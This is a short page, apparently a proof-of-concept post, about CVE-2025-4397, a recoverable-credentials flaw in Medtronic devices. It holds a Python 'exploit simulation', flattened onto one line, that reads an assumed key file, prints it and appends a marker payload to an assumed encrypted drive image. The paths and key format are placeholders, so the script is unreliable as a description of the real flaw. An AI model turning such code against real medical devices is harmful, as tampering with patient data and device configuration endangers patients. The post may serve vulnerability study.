CVE-2025-4397 Medtronic设备凭证可恢复漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-4397 Demonstrates how recoverable credentials can be used to modify encrypted drive data. Note: Actual exploitation requires physical access and reverse engineering of the specific device storage format. """ import os import binascii def recover_credentials(device_mount_point): """ Simulates the recovery of credentials from the device storage. In a real scenario, this might involve decrypting a config file or reading from a specific memory offset. """ print(f"[*] Attempting to recover credentials from {device_mount_point}") # Simulating path to credential storage cred_path = os.path.join(device_mount_point, "system/config/secret_key.bin") if os.path.exists(cred_path): with open(cred_path, "rb") as f: # Simulating weak obfuscation removal raw_data = f.read() # Assume the key is stored in a recoverable format (e.g., base64 or simple XOR) recovered_key = binascii.hexlify(raw_data).decode('utf-8') print(f"[+] Credentials recovered: {recovered_key}") return recovered_key else: print("[-] Credential file not found on device.") return None def modify_encrypted_drive(device_mount_point, key): """ Simulates using the recovered key to modify encrypted data. """ print(f"[*] Using key to unlock encrypted drive...") encrypted_data_path = os.path.join(device_mount_point, "data/encrypted_drive.img") if os.path.exists(encrypted_data_path): # In a real attack, the attacker would decrypt the image using the key, # modify the content, and re-encrypt/sign it. print(f"[+] Decrypting drive data with key: {key}") print(f"[+] Modifying sensitive data (e.g., patient logs or config)...") # Simulating data tampering with open(encrypted_data_path, "ab") as f: f.write(b"\nMALICIOUS_PAYLOAD") print("[+] Drive data modified successfully. Integrity compromised.") else: print("[-] Encrypted drive not found.") if __name__ == "__main__": # This script requires the device storage to be mounted (Physical Access required) MOUNT_POINT = "/mnt/medtronic_device" print("=== CVE-2025-4397 Exploit Simulation ===") # Step 1: Recover Credentials key = recover_credentials(MOUNT_POINT) if key: # Step 2: Modify Data modify_encrypted_drive(MOUNT_POINT, key) print("[+] Exploit chain completed.")